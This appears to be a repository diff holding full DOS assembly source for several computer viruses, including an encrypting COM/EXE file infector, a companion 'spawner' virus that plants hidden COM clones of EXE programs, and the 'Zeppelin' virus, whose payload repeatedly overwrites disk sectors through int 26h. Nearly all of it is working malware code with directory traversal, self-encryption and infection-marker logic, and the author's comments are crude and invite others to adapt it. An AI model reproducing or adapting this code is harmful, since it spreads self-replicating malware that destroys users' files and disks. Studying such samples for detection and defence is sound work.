add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate: ; Conditions satisfied
jmp exit_virus
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
cmp ax,'DN' ; Ends in ND? (commaND)
jz find_next
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,13000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
+174
View File
@@ -0,0 +1,174 @@
;NON-RESIDENT SPAWNER
; I threw this thing together in less than an hour and haven't looked
; at it since so yes, I know it needs real work. Mangle and change as
; you please. The original goal was to create the smallest spawner but
; I got bored with the whole thing. Some of the code was taken from
; the source code to Directory Magic by pcmag. Have phun....
CSEG SEGMENT
ASSUME CS:CSEG,DS:NOTHING
ORG 100H ;Beginning for .COM programs
START: JMP MY_BEGIN ;Initialization code is at end
wild DB "*.EXE",0
file_Ext DB "COM",0
file_found DB 12 DUP(' '), 0
file_create DB 12 DUP(' '), 0
search_attrib DW 17H
num_infect dw 0
my_cmd:
Cmd_len db 13
file_clone db 12 DUP (' '), 0
ASSUME CS:CSEG, DS:CSEG, ES:NOTHING
;------------------------------------------------------------------;
Prepare_command:
cld
mov di,OFFSET file_clone
mov al,0
mov cx,12
repne scasb ; find the end of string \0
mov al,0Dh ; <CR>
stosb ; replace \0 with a <CR>
mov ax,12 ;store length of the command
sub ax,cx
mov cmd_len, al
ret
;------------------------------------------------------------------;
Store_name:
MOV DI,OFFSET file_found ;Point to buffer.
MOV SI,158
MOV CX,12
REP MOVSB
MOV DI,OFFSET file_create ;Point to buffer.
MOV SI,158
MOV CX,12
REP MOVSB
cld
mov di,OFFSET file_create
mov al,'.'
mov cx,9
repne scasb ;find the '.'
mov si,OFFSET file_ext
mov cx,3
rep movsb ;replace the .EXE with .COM
ret
;------------------------------------------------------------------;
;Does the file exist?
Check_file:
mov dx,OFFSET file_create
mov cx,0
mov ax,3d00h ; Open file read only
int 21h
Chk_done:
ret
;------------------------------------------------------------------;
Infect_file:
;Create file
mov dx,OFFSET file_create
mov cx,0
mov ah,3ch
int 21h
jc EXIT
;Write to file
mov bx,ax
mov cx,(OFFSET END_OF_CODE - OFFSET START)
mov dx,OFFSET START
mov ah,40h
int 21h
;Close file
mov ah,3eh ; ASSUMES bx still has file handle
int 21h
;Change attributes
mov dx,OFFSET file_create
mov cx,3 ;(1) read only, (2) hidden, (4) system
mov ax,4301h
int 21h
ret
;------------------------------------------------------------------;
; Read all the directory filenames and store as records in buffer. ;
;------------------------------------------------------------------;
MY_BEGIN:
mov sp,offset STACK_HERE ;move stack down
mov bx,sp
add bx,15
mov cl,4
shr bx,cl
mov ah,4ah ;deallocate rest of memory
int 21h
MOV DI,OFFSET file_clone ;Point to buffer.
MOV SI,OFFSET file_found
MOV CX,12
REP MOVSB
READ_DIR: MOV DX,OFFSET wild
MOV CX,search_attrib
MOV AH,4EH ; This finds the first matching file.
INT 21H
JC EXIT ;If empty directory, exit.
Do_file:
call Store_name
call Check_file
jnc seek_another ; CF = 0, shadow already there... skip it
call Infect_file
jmp Exit
seek_another:
find_next:
mov ah,4fh
int 21h
jmp Do_file
EXIT:
;Run the original program
call Prepare_command
mov si, OFFSET my_cmd
int 2Eh ;Pass command to command
; interpreter for execution
;Exit to DOS
MOV AX,4C00H
INT 21H
END_OF_CODE = $
STACK_HERE EQU END_OF_CODE + 512
CSEG ENDS
END START
+241
View File
@@ -0,0 +1,241 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ ZEP ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 12-Nov-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0A0h
data_9e equ 418h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
zep proc far
start:
jmp short loc_1
db 90h
data_2 db 0
data_3 dw 216h
db 2
data_4 dw 0
db 'TheDraw COM file Screen Save'
db 1Ah
data_5 db 'Unsupported Video Mode', 0Dh, 0Ah
db '$'
loc_1:
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
; ah=columns on screen
mov bx,0B800h
cmp al,2
je loc_2 ; Jump if equal
cmp al,3
je loc_2 ; Jump if equal
mov data_2,0
mov bx,0B000h
cmp al,7
je loc_2 ; Jump if equal
mov dx,offset data_5 ; ('Unsupported Video Mode')
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
retn
loc_2:
mov es,bx
mov di,data_4
mov si,offset data_6
mov dx,3DAh
mov bl,9
mov cx,data_3
cld ; Clear direction
xor ax,ax ; Zero register
locloop_4:
lodsb ; String [si] to al
cmp al,1Bh
jne loc_5 ; Jump if not equal
xor ah,80h
jmp short loc_20
loc_5:
cmp al,10h
jae loc_8 ; Jump if above or =
and ah,0F0h
or ah,al
jmp short loc_20
loc_8:
cmp al,18h
je loc_11 ; Jump if equal
jnc loc_12 ; Jump if carry=0
sub al,10h
add al,al
add al,al
add al,al
add al,al
and ah,8Fh
or ah,al
jmp short loc_20
loc_11:
mov di,data_4
add di,data_1e
mov data_4,di
jmp short loc_20
loc_12:
mov bp,cx
mov cx,1
cmp al,19h
jne loc_13 ; Jump if not equal
lodsb ; String [si] to al
mov cl,al
mov al,20h ; ' '
dec bp
jmp short loc_14
loc_13:
cmp al,1Ah
jne loc_15 ; Jump if not equal
lodsb ; String [si] to al
dec bp
mov cl,al
lodsb ; String [si] to al
dec bp
loc_14:
inc cx
loc_15:
cmp data_2,0
je loc_18 ; Jump if equal
mov bh,al
locloop_16:
in al,dx ; port 3DAh, CGA/EGA vid status
rcr al,1 ; Rotate thru carry
jc locloop_16 ; Jump if carry Set
loc_17:
in al,dx ; port 3DAh, CGA/EGA vid status
and al,bl
jnz loc_17 ; Jump if not zero
mov al,bh
stosw ; Store ax to es:[di]
loop locloop_16 ; Loop if cx > 0
jmp short loc_19
loc_18:
rep stosw ; Rep when cx >0 Store ax to es:[di]
loc_19:
mov cx,bp
loc_20:
jcxz loc_ret_21 ; Jump if cx=0
loop locloop_4 ; Loop if cx > 0
loc_ret_21:
retn
data_6 db 9
db 10h, 19h, 45h, 18h, 19h, 1Bh
db 01h,0D5h,0CDh,0CDh,0B8h, 04h
db 0F3h, 09h,0A9h, 04h, 9Dh
db 9
db 0AAh, 04h,0F2h, 01h,0D5h,0CDh
db 0CDh,0B8h, 19h, 1Ch, 18h, 19h
db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh
db 20h, 09h, 5Ch, 04h,0F6h, 09h
db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah
db 0CDh,0B8h, 19h, 13h, 18h, 19h
db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh
db 19h, 03h, 0Fh,0D2h,0B7h, 19h
db 04h,0D6h, 1Ah, 03h,0C4h,0B7h
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
db 0B7h, 19h, 04h, 01h,0D4h, 1Ah
db 0Eh,0CDh,0BBh, 19h, 03h, 18h
db 19h, 03h,0BAh, 19h, 12h, 07h
db 0BAh,0BAh, 19h, 04h,0BAh, 19h
db 03h,0BDh, 20h,0BAh,0BAh, 19h
db 02h,0D3h,0B7h, 19h, 13h, 01h
db 0BAh, 19h, 03h, 18h, 19h, 03h
db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h
db 04h, 19h, 07h, 08h,0BAh,0B6h
db 19h, 04h,0C7h,0C4h,0B6h, 19h
db 03h,0BAh,0B6h, 19h, 03h,0BAh
db 19h, 07h, 0Bh, 1Ah, 02h, 04h
db 19h, 08h, 01h,0BAh, 19h, 03h
db 18h,0D6h,0C4h,0C4h, 20h,0BAh
db 19h, 12h, 08h,0BAh,0D3h, 19h
db 02h,0B7h, 20h,0BAh, 19h, 03h
db 0B7h, 20h,0BAh,0D3h, 19h, 02h
db 0D6h,0BDh, 19h, 13h, 01h,0BAh
db 20h,0C4h,0C4h,0B7h, 18h,0D3h
db 0C4h,0C4h,0C4h,0BDh, 19h, 12h
db 08h,0D3h, 1Ah, 03h,0C4h,0BDh
db 20h,0D3h, 1Ah, 03h,0C4h,0BDh
db 20h,0D0h, 1Ah, 03h,0C4h,0BDh
db 19h, 14h, 01h,0D3h,0C4h,0C4h
db 0C4h,0BDh, 18h, 04h, 1Ah, 04h
db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah
db 04h,0C4h,0B7h, 20h,0D6h, 1Ah
db 03h,0C4h,0B7h, 20h,0D2h,0D2h
db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h
db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h
db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h
db 0D2h,0B7h, 19h, 04h,0D2h, 20h
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
db 0B7h, 19h, 03h, 04h, 1Ah, 04h
db 3Ch, 18h, 01h,0D6h,0C4h,0C4h
db 0C4h,0B7h, 19h, 07h, 07h,0D6h
db 0C4h,0BDh
dd 319BA20h ; Data table (indexed access)
db 0BDh, 20h,0BAh,0BDh, 19h, 02h
db 0BAh, 20h,0BAh,0BDh, 19h, 02h
db 0BAh, 20h,0BAh, 19h, 03h,0BDh
db 20h,0BAh,0BAh, 19h, 04h,0BAh
db 20h, 20h,0BAh,0BAh, 19h, 02h
db 0BAh, 19h, 03h, 01h,0D6h,0C4h
db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h
db 0C4h, 20h,0BAh, 19h, 06h, 08h
db 58h, 19h, 03h,0C7h,0C4h,0B6h
db 19h, 03h,0BAh, 1Ah, 03h,0C4h
db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h
db 0BDh, 20h,0C7h,0C4h,0B6h, 19h
db 03h,0BAh,0B6h, 19h, 04h,0BAh
db 20h, 20h,0BAh,0B6h, 19h, 02h
db 0BAh, 19h, 03h, 01h,0BAh, 20h
db 0C4h,0C4h,0BDh, 18h, 19h, 03h
db 0BAh, 19h, 03h, 08h,0D6h,0C4h
db 0BDh, 19h, 04h,0BAh, 19h, 03h
db 0B7h, 20h,0BAh, 19h, 05h,0BAh
db 19h, 05h,0BAh, 19h, 03h,0B7h
db 20h,0BAh,0D3h, 19h, 02h,0B7h
db 20h,0BAh, 20h, 20h,0BAh,0D3h
db 19h, 02h,0BAh, 19h, 03h, 01h
db 0BAh, 19h, 03h, 18h, 19h, 03h
db 0BAh, 19h, 03h, 08h,0D3h, 1Ah
db 04h,0C4h,0BDh, 20h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0BDh, 19h
db 05h,0BDh, 19h, 05h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0D0h, 20h
db 20h,0D0h, 19h, 03h,0D0h, 19h
db 03h, 01h,0BAh, 19h, 03h, 18h
db 19h, 03h,0C8h, 1Ah, 15h,0CDh
db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h
db 0CDh,0BCh, 19h, 03h, 18h, 19h
db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h
db 0F7h, 09h, 2Fh, 04h,0EAh, 09h
db 5Ch, 04h, 1Ah, 03h,0F7h, 01h
db 0CDh,0BEh, 19h, 1Bh, 18h
zep endp
seg_a ends
end start
@@ -0,0 +1,674 @@
;**************************************************************************
;
;The Zeppelin Virus September 25, 1992
;[MPC] Generated...
;Created by... pAgE
;As a TRiBuTe to John "back-beat" Bohnam, this "WEAK-DICK" ViRUS was made!
;Incidently. He died on this date in 1980! Got drunk and strangled on a
;CunT hAiR...oR wAs iT a tAmPoN???...Oh well, So goes RocK -n- RoLL...
;By the wAy<---That's whAt you sAy just beforE you bOrE the FuCK out of
;soMeoNe with anOthEr TRiViAl piEce of SHiT!!! These LiTTLe Up AnD LeTTeRS
;ThAt yA'll uSe, ArE a KicK....
;
;Okay, enough anti-social, suicidal, satan, sputum...On with the ViRUS...
; GeT'S in ThE bl00d DoEsn't it?------->^^^^^
;
;Here it is...
;It's not much, but in the hands off a knowledgeable Vx WRiTeR.......
;I'll keep workin' on it and see what I can do. In the mean time, have fun!
;I ReM'd out a lot of the ShIt iN here, So Joe LuNChmEaT doesn;t FrY hImSelF.
;
;But...If that's not good enough, well then - hEy! - BLoW mE!
;
;***************************************************************************
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'IS' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov di,offset startencrypt ; start of decryption
mov si,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,35h ; xor word ptr cs:[di], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc di ; calculate new decryption location
inc di
dec si ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next:
pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],5 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
;mov ah,2ah ; Get current date
;int 21h
;cmp dh,9 ; Check month
;jb act_two
;cmp dl,25 ; Check date
;jb act_two
;cmp cx,1992 ; Check year
;jb act_two
;cmp al,0 ; Check date of week
;jb activate
;mov ah,2ch ; Get current time
;int 21h
;cmp dl,50 ; Check the percentage
jbe activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
exe_mask db '*.exe',0
com_mask db '*.com',0
stacksave2 dd ?
activate proc far
start:
jmp short loc_1
db 90h
data_2 db 0
data_3 dw 216h
db 2
data_4 dw 0
db 'Ripped this Motherfucker off'
db 1Ah
data_5 db 'SHIT!!! Wont work....', 0Dh, 0Ah
db '$'
loc_1:
mov ax,0003h ; stick 3 into ax.
int 10h ; Set up 80*25, text mode. Clear the screen, too.
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
; ah=columns on screen
mov bx,0B800h
cmp al,2
je loc_2 ; Jump if equal
cmp al,3
je loc_2 ; Jump if equal
mov data_2,0
mov bx,0B000h
cmp al,7
je loc_2 ; Jump if equal
mov dx,offset data_5 ; ('Unsupported Video Mode')
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
retn
loc_2:
mov es,bx
mov di,data_4
mov si,offset data_6
mov dx,3DAh
mov bl,9
mov cx,data_3
cld ; Clear direction
xor ax,ax ; Zero register
locloop_4:
lodsb ; String [si] to al
cmp al,1Bh
jne loc_5 ; Jump if not equal
xor ah,80h
jmp short loc_20
loc_5:
cmp al,10h
jae loc_8 ; Jump if above or =
and ah,0F0h
or ah,al
jmp short loc_20
loc_8:
cmp al,18h
je loc_11 ; Jump if equal
jnc loc_12 ; Jump if carry=0
sub al,10h
add al,al
add al,al
add al,al
add al,al
and ah,8Fh
or ah,al
jmp short loc_20
loc_11:
mov di,data_4
add di,data_1e
mov data_4,di
jmp short loc_20
loc_12:
mov bp,cx
mov cx,1
cmp al,19h
jne loc_13 ; Jump if not equal
lodsb ; String [si] to al
mov cl,al
mov al,20h ; ' '
dec bp
jmp short loc_14
loc_13:
cmp al,1Ah
jne loc_15 ; Jump if not equal
lodsb ; String [si] to al
dec bp
mov cl,al
lodsb ; String [si] to al
dec bp
loc_14:
inc cx
loc_15:
cmp data_2,0
je loc_18 ; Jump if equal
mov bh,al
locloop_16:
in al,dx ; port 3DAh, CGA/EGA vid status
rcr al,1 ; Rotate thru carry
jc locloop_16 ; Jump if carry Set
loc_17:
in al,dx ; port 3DAh, CGA/EGA vid status
and al,bl
jnz loc_17 ; Jump if not zero
mov al,bh
stosw ; Store ax to es:[di]
loop locloop_16 ; Loop if cx > 0
jmp short loc_19
loc_18:
rep stosw ; Rep when cx >0 Store ax to es:[di]
loc_19:
mov cx,bp
loc_20:
jcxz loc_new_25 ; Jump if cx=0
loop locloop_4 ; Loop if cx > 0
loc_new_25:
mov si,offset data00 ; SI points to data
get_note: mov bx,[si] ; Load BX with the frequency
or bx,bx ; Is BX equal to zero?
je play_tune_done ; If it is we are finished
mov ax,034DDh ;
mov dx,0012h ;
cmp dx,bx ;
jnb new_note ;
div bx ; This bit here was stolen
mov bx,ax ; from the Turbo C++ v1.0
in al,061h ; library file CS.LIB. I
test al,3 ; extracted sound() from the
jne skip_an_or ; library and linked it to
or al,3 ; an .EXE file, then diassembled
out 061h,al ; it. Basically this turns
mov al,0B6h ; on the speaker at a certain
out 043h,al ; frequency.
skip_an_or: mov al,bl ;
out 042h,al ;
mov al,bh ;
out 042h,al ;
mov bx,[si + 2] ; BX holds duration value
xor ah,ah ; BIOS get time function
int 1Ah
add bx,dx ; Add the time to the length
wait_loop: int 1Ah ; Get the time again (AH = 0)
cmp dx,bx ; Is the delay over?
jne wait_loop ; Repeat until it is
in al,061h ; Stolen from the nosound()
and al,0FCh ; procedure in Turbo C++ v1.0.
out 061h,al ; This turns off the speaker.
new_note: add si,4 ; SI points to next note
jmp short get_note ; Repeat with the next note
play_tune_done:
activate endp
mov ax,0002h ; OH! Look at this! Mr. Memorial
mov cx,0001h ; has just transformed into an
cli ; ASSHoLe!!!
cwd ; NuKe that HD "puppy-mullet"
trash_loop: int 026h ; Int 26h...Absolute FACE-RAPE
dec ax ; We really did let him off easy!
cmp ax,-1 ; Could have seriously trashed
jne trash_loop ; his happy ass................
sti ; --->>pAgE<<----
jmp exit_virus
creator db '[pAgE]',0 ; YOU REALLY SHOULD TAKE THIS
virusname db '[SwanSong]',0 ; BULLSHIT OUT OF HERE!!!
author db 'pAgE',0 ; WHY NOT HOLD UP A SIGN!!!
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,20h ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1ah] ; Filesize in DTA
cmp ax,(heap-decrypt) ; Is it too small?
jb find_next
mov bx,word ptr [bp+buffer+1] ;get jmp location
add bx,(heap-decrypt+1) ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax,(heap-decrypt) ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,(heap-decrypt) ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
data00 dw 2000,8,2500,8,2000,14,2500,14
